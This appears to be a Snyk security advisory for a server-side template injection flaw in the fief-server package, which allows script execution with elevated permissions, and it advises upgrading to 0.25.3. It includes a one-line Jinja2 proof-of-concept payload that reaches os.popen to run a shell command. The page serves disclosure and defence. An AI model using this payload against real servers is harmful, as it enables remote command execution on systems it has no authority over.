Improper Neutralization of Special Elements Used in a Template Engine Affecting fief-server package, versions [0.19.0,0.25.3)


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-FIEFSERVER-5741791
  • published28 Jun 2023
  • disclosed23 Jun 2023
  • creditrotil

Introduced: 23 Jun 2023

CVE NOT AVAILABLE CWE-1336  (opens in a new tab)

How to fix?

Upgrade fief-server to version 0.25.3 or higher.

Overview

fief-server is an Users and authentication management SaaS

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements Used in a Template Engine that can allow execution of scripts with elevated permissions.

PoC

{{ cycler.__init__.__globals__.os.popen('id').read() }}

CVSS Base Scores

version 3.1